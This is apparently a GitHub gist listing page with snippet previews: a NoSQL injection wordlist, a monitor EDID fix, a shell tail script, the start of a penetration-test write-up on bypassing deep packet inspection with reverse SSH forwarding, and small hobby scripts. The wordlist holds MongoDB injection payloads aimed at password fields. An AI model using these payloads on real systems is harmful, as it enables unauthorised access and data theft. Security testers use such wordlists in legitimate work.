Skip to content

Instantly share code, notes, and snippets.

View theddaywork's full-sized avatar
🏠
Working from home

David theddaywork

🏠
Working from home
View GitHub Profile
@mohclips
mohclips / mohclips-nosqli.txt
Created January 6, 2024 20:46
NoSQL injection wordlist
$gt
$ne
$nin
$where: '1 == 1'
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
' || 'a'=='a
' } ], $comment:'successful MongoDB injection'
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
@kj800x
kj800x / Hacking the LG Monitor's EDID.md
Last active September 12, 2024 23:46
Hacking the LG Monitor's EDID

preface: Posting these online since it sounds like these notes are somewhat interesting based on a few folks I've shared with. These are semi-rough notes that I basically wrote for myself in case I ever needed to revisit this fix, so keep that in mind.

I recently bought an LG ULTRAGEAR monitor secondhand off of a coworker. I really love it and it's been great so far, but I ran into some minor issues with it in Linux. It works great on both Mac and Windows, but on Linux it displays just a black panel until I use the second monitor to go in and reduce the refresh rate down to 60 Hz.

This has worked decent so far but there's some issues:

  • It doesn't work while linux is booting up. The motherboards boot sequence is visible just fine, but as soon as control is handed over to Linux and I'd normally see a splash screen while I'm waiting for my login window, I see nothing.
  • It doesn't work on the login screen. This would be fine if login consistently worked on my second screen, but I need to manually switch
@Sidneys1
Sidneys1 / stail.sh
Created January 26, 2023 20:00
Short-Tail
#!/usr/bin/env bash
HELP="Usage: $0 [-n LINES] [-p PREFIX] [-w] [-h]
Continuously displays the last '-n' lines of 'stdin'.
Parameters:
-n Number of lines to display (default: 5).
-p PREFIX Prefix lines with 'PREFIX'.
-w Preserve blank lines (default: false).
-h Display this help
@gmurdocca
gmurdocca / socat_caesar_dpi.md
Last active June 28, 2024 15:53
Circumventing Deep Packet Inspection with Socat and rot13

Circumventing Deep Packet Inspection with Socat and rot13

I have a Linux virtual machine inside a customer's private network. For security, this VM is reachable only via VPN + Citrix + Windows + a Windows SSH client (eg PuTTY). I am tasked to ensure this Citrix design is secure, and users can not access their Linux VM's or other resources on the internal private network in any way outside of using Citrix.

The VM can access the internet. This task should be easy. The VM's internet gateway allows it to connect anywhere on the internet to TCP ports 80, 443, and 8090 only. Connecting to an internet bastion box on one of these ports works and I can send and receive clear text data using netcat. I plan to use good old SSH, listening on tcp/8090 on the bastion, with a reverse port forward configured to expose sshd on the VM to the public, to show their Citrix gateway can be circumvented.

Rejected by Deep Packet Inspection

I hit an immediate snag. The moment I try to establish an SSH or SSL connection over o

@JonathanStreet
JonathanStreet / wordle-inspired.md
Last active October 13, 2023 06:21
A collection of wordle-inspired games

Wordle inspired games

  • Wordle - The original game.
  • Dordle - Two wordle games at once.
  • Quordle - Four wordle games at once.
  • Lewdle - Like wordle but with lewd words.
  • Sweardle - Swear word guessing game.
  • Nerdle - Like wordle but with equations.
  • Mathler - Find the hidden calculation that equals 128.
  • Primel - Guess the prime number in 6 tries.
@radiantly
radiantly / noMangleGoogle.user.js
Last active September 12, 2024 14:38
Prevent Google from mangling links on the search results when clicking or copying on Firefox
// ==UserScript==
// @name Prevent link mangling on Google
// @namespace LordBusiness.LMG
// @match https://www.google.com/search
// @grant none
// @version 1.1
// @author radiantly
// @description Prevent google from mangling the link when copying or clicking the link on Firefox
// ==/UserScript==
@rodrigogiraoserrao
rodrigogiraoserrao / ocalc.py
Last active July 13, 2021 12:16
One-expression calculator.
# A Tkinter calculator in a single Python *expression*
# See https://www.reddit.com/r/Python/comments/ojab0n/i_see_your_17_loc_calculator_and_i_raise_you_a/
(tk := __import__("tkinter")) and (bt_draw := lambda k, c, l: (bt := tk.Button(w, text=k, command=lambda: bt_press(k), width=6)) and bt.grid(column=c, row=l)) and (update := lambda t: d.config(text=t)) and (bt_press := lambda k: update("") if k == "C" else update(d["text"][:-1]) if k == "<" else update(str(round(eval(d["text"]), 6))) if k == "=" else update(d["text"] + k)) and (w := tk.Tk()) and w.title("TKalc") or (d := tk.Label(w, text="")) and d.grid(column=0, row=0, columnspan=5) or [bt_draw(k, n%4 + 1, n//4 + 1) for n, k in enumerate("()C<789/456*123-.0=+")] and w.mainloop()

The Freenode resignation FAQ, or: "what the fuck is going on?"

IMPORTANT NOTE:

It's come to my attention that some people have been spamming issue trackers with a link to this gist. While it's a good idea to inform people of the situation in principle, please do not do this. By all means spread the word in the communities that you are a part of, after verifying that they are not aware yet, but unsolicited spam is not helpful. It will just frustrate people.

Update 3 (May 24, 2021)

A number of things have happened since the last update.

@hwayne
hwayne / queue_template.py
Created November 2, 2020 02:47
Code for PRISM essay
from math import comb
from string import Template
guard = "[worker] (left >= {n} & ((queue >= {n} & K = {n}) | (queue = {n} & K > {n}))) ->"
# For n = 3, this should be
# p^3 + 3p^2(1-p) + 3p(1-p)^2 + (1-p)^3
def actions_for(n):
base = "{prob}: (left' = left - {x}) & (queue' = queue - {x})"